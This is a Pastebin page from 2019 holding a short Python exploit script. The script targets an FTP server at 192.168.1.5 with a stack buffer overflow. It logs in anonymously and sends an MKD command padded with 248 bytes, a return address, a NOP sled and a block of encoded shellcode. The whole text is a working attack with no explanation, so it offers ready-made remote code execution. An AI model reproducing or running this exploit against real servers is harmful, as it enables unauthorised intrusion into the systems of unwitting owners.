Advertisement
Guest User

Untitled

a guest
Oct 18th, 2019
121
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 2.07 KB | None | 0 0
  1. import socket
  2. import sys
  3.  
  4. buf = ""
  5. buf += "\xda\xd9\xbb\xa4\xa8\x77\xf3\xd9\x74\x24\xf4\x5a\x31"
  6. buf += "\xc9\xb1\x53\x31\x5a\x17\x83\xea\xfc\x03\xfe\xbb\x95"
  7. buf += "\x06\x02\x53\xdb\xe9\xfa\xa4\xbc\x60\x1f\x95\xfc\x17"
  8. buf += "\x54\x86\xcc\x5c\x38\x2b\xa6\x31\xa8\xb8\xca\x9d\xdf"
  9. buf += "\x09\x60\xf8\xee\x8a\xd9\x38\x71\x09\x20\x6d\x51\x30"
  10. buf += "\xeb\x60\x90\x75\x16\x88\xc0\x2e\x5c\x3f\xf4\x5b\x28"
  11. buf += "\xfc\x7f\x17\xbc\x84\x9c\xe0\xbf\xa5\x33\x7a\xe6\x65"
  12. buf += "\xb2\xaf\x92\x2f\xac\xac\x9f\xe6\x47\x06\x6b\xf9\x81"
  13. buf += "\x56\x94\x56\xec\x56\x67\xa6\x29\x50\x98\xdd\x43\xa2"
  14. buf += "\x25\xe6\x90\xd8\xf1\x63\x02\x7a\x71\xd3\xee\x7a\x56"
  15. buf += "\x82\x65\x70\x13\xc0\x21\x95\xa2\x05\x5a\xa1\x2f\xa8"
  16. buf += "\x8c\x23\x6b\x8f\x08\x6f\x2f\xae\x09\xd5\x9e\xcf\x49"
  17. buf += "\xb6\x7f\x6a\x02\x5b\x6b\x07\x49\x34\x58\x2a\x71\xc4"
  18. buf += "\xf6\x3d\x02\xf6\x59\x96\x8c\xba\x12\x30\x4b\xbc\x08"
  19. buf += "\x84\xc3\x43\xb3\xf5\xca\x87\xe7\xa5\x64\x21\x88\x2d"
  20. buf += "\x74\xce\x5d\xdb\x7c\x69\x0e\xfe\x81\xc9\xfe\xbe\x29"
  21. buf += "\xa2\x14\x31\x16\xd2\x16\x9b\x3f\x7b\xeb\x24\x3a\x45"
  22. buf += "\x62\xc2\x2e\xa5\x22\x5c\xc6\x07\x11\x55\x71\x77\x73"
  23. buf += "\xcd\x15\x30\x95\xca\x1a\xc1\xb3\x7c\x8c\x4a\xd0\xb8"
  24. buf += "\xad\x4c\xfd\xe8\xba\xdb\x8b\x78\x89\x7a\x8b\x50\x79"
  25. buf += "\x1e\x1e\x3f\x79\x69\x03\xe8\x2e\x3e\xf5\xe1\xba\xd2"
  26. buf += "\xac\x5b\xd8\x2e\x28\xa3\x58\xf5\x89\x2a\x61\x78\xb5"
  27. buf += "\x08\x71\x44\x36\x15\x25\x18\x61\xc3\x93\xde\xdb\xa5"
  28. buf += "\x4d\x89\xb0\x6f\x19\x4c\xfb\xaf\x5f\x51\xd6\x59\xbf"
  29. buf += "\xe0\x8f\x1f\xc0\xcd\x47\xa8\xb9\x33\xf8\x57\x10\xf0"
  30. buf += "\x08\x12\x38\x51\x81\xfb\xa9\xe3\xcc\xfb\x04\x27\xe9"
  31. buf += "\x7f\xac\xd8\x0e\x9f\xc5\xdd\x4b\x27\x36\xac\xc4\xc2"
  32. buf += "\x38\x03\xe4\xc6"
  33.  
  34.  
  35.  
  36. bof = "A"*248 + "\xeb\x30\x9d\x7c" + 20 * "\x90"+ buf + "C" *(1000-272-len(buf))
  37.  
  38.  
  39.  
  40. s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
  41. s.connect(('192.168.1.5',21))
  42. s.recv(1024)
  43. s.send('USER anonymous\r\n')
  44. s.recv(1024)
  45. s.send('PASS anonymous\r\n')
  46. s.recv(1024)
  47. s.send('MKD' + bof + '\r\n')
  48. s.recv(1024)
  49. s.send('QUIT\r\n')
  50. s.close()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement